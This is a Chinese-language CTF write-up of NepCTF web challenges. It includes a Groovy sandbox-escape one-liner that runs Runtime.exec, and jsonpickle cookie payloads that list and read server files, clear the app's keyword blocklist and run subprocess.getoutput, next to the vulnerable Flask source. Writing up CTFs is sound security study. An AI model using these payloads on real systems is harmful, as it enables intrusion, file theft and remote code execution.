JavaSeri

签到题,借这个题顺便解决了哈shiro框架工具不能正常使用的历史遗留问题,最后发现java版本1.8.0_321能够正常使用

这个题登录之后看到熟悉的rememberMe,直接工具一把梭,爆破密钥加爆破利用链及回显再执行命令就行了

image-20250729192904107

flag{e22d3fa1-4a94-1155-e387-9b8744455d70}

easyGooGooVVVY

参考ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞 - twsec - 博客园,直接打反射就行

java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("env").getText()

image-20250725194725293

flag{f1af0e09-72e9-3da9-b959-4834c425ecbf}

RevengeGooGooVVVY

同上的打法,直接打就行了

image-20250731164019659

NepCTF{ae0ab171-35fd-e7af-0167-bdb9c6d39886}

safe_bank

在比赛的时候打到/readflag那里就没有办法绕过去了,赛后来复现


最初看到需要admin那就直接伪造admin,但是是fake的

image-20250731165541907

那就肯定要从用户名那里下手了,参考这篇文章从源码看JsonPickle反序列化利用与绕WAF-先知社区

利用其中的poc可以实现目录探测和读文件,先把源码扒下来

import json
import time
import base64

payload = {'py/object': '__main__.Session', 'meta': {'user': {'py/object': 'glob.glob', 'py/newargs': ['/*']}, 'ts': int(time.time())}}
#payload = {'py/object': '__main__.Session', 'meta': {'user': {'py/object': 'linecache.getlines', 'py/newargs': ['/app/app.py']}, 'ts': int(time.time())}}


# 将 Python 字典转换为 JSON 字符串
json_payload = json.dumps(payload)

# 将 JSON 字符串编码为 Base64,以便放入 Cookie
final_cookie_value = base64.b64encode(json_payload.encode('utf-8')).decode('utf-8')

print(final_cookie_value)

image-20250731170028800

image-20250731170430714

from flask import Flask, request, make_response, render_template, redirect, url_for
import jsonpickle
import base64
import json
import os
import time

app = Flask(__name__)
app.secret_key = os.urandom(24)

class Account:
def __init__(self, uid, pwd):
self.uid = uid
self.pwd = pwd

class Session:
def __init__(self, meta):
self.meta = meta

users_db = [
Account("admin", os.urandom(16).hex()),
Account("guest", "guest")
]

def register_user(username, password):
for acc in users_db:
if acc.uid == username:
return False
users_db.append(Account(username, password))
return True

FORBIDDEN = [
'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
'__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
'__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]

def waf(serialized):
try:
data = json.loads(serialized)
payload = json.dumps(data, ensure_ascii=False)
for bad in FORBIDDEN:
if bad in payload:
return bad
return None
except:
return "error"

@app.route('/')
def root():
return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
confirm_password = request.form.get('confirm_password')

if not username or not password or not confirm_password:
return render_template('register.html', error="所有字段都是必填的。")

if password != confirm_password:
return render_template('register.html', error="密码不匹配。")

if len(username) < 4 or len(password) < 6:
return render_template('register.html', error="用户名至少需要4个字符,密码至少需要6个字符。")

if register_user(username, password):
return render_template('index.html', message="注册成功!请登录。")
else:
return render_template('register.html', error="用户名已存在。")

return render_template('register.html')

@app.post('/auth')
def auth():
u = request.form.get("u")
p = request.form.get("p")
for acc in users_db:
if acc.uid == u and acc.pwd == p:
sess_data = Session({'user': u, 'ts': int(time.time())})
token_raw = jsonpickle.encode(sess_data)
b64_token = base64.b64encode(token_raw.encode()).decode()
resp = make_response("登录成功。")
resp.set_cookie("authz", b64_token)
resp.status_code = 302
resp.headers['Location'] = '/panel'
return resp
return render_template('index.html', error="登录失败。用户名或密码无效。")

@app.route('/panel')
def panel():
token = request.cookies.get("authz")
if not token:
return redirect(url_for('root', error="缺少Token。"))

try:
decoded = base64.b64decode(token.encode()).decode()
except:
return render_template('error.html', error="Token格式错误。")

ban = waf(decoded)
if waf(decoded):
return render_template('error.html', error=f"请不要黑客攻击!{ban}")

try:
sess_obj = jsonpickle.decode(decoded, safe=True)
meta = sess_obj.meta

if meta.get("user") != "admin":
return render_template('user_panel.html', username=meta.get('user'))

return render_template('admin_panel.html')
except Exception as e:
return render_template('error.html', error=f"数据解码失败。")

@app.route('/vault')
def vault():
token = request.cookies.get("authz")
if not token:
return redirect(url_for('root'))

try:
decoded = base64.b64decode(token.encode()).decode()
if waf(decoded):
return render_template('error.html', error="请不要尝试黑客攻击!")
sess_obj = jsonpickle.decode(decoded, safe=True)
meta = sess_obj.meta

if meta.get("user") != "admin":
return render_template('error.html', error="访问被拒绝。只有管理员才能查看此页面。")

flag = "NepCTF{fake_flag_this_is_not_the_real_one}"

return render_template('vault.html', flag=flag)
except:
return redirect(url_for('root'))

@app.route('/about')
def about():
return render_template('about.html')

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)

可以看到这里有一个超长黑名单,文章中能够rce的poc都用不了了,这里就要看到新姿势了

既然这里可以实现全局空间变量访问了,并且FORBIDDEN作为列表本身自带clear方法

参考官方文档5. Data Structures — Python 3.13.5 documentation

image-20250731174641447

那么这里就可以直接置空黑名单

payload = {'py/object': '__main__.Session', 'meta': {'user': {'py/object': '__main__.FORBIDDEN.clear', 'py/newargs': []}, 'ts': int(time.time())}}

image-20250731174933749

现在直接用subporcess来rce就行了

payload = {'py/object': '__main__.Session', 'meta': {'user': {'py/object': 'subprocess.getoutput', 'py/newargs': ['/readflag']}, 'ts': int(time.time())}}

image-20250731175212045

NepCTF{0a03b208-ef14-fdcf-c4de-98339c0f05f1}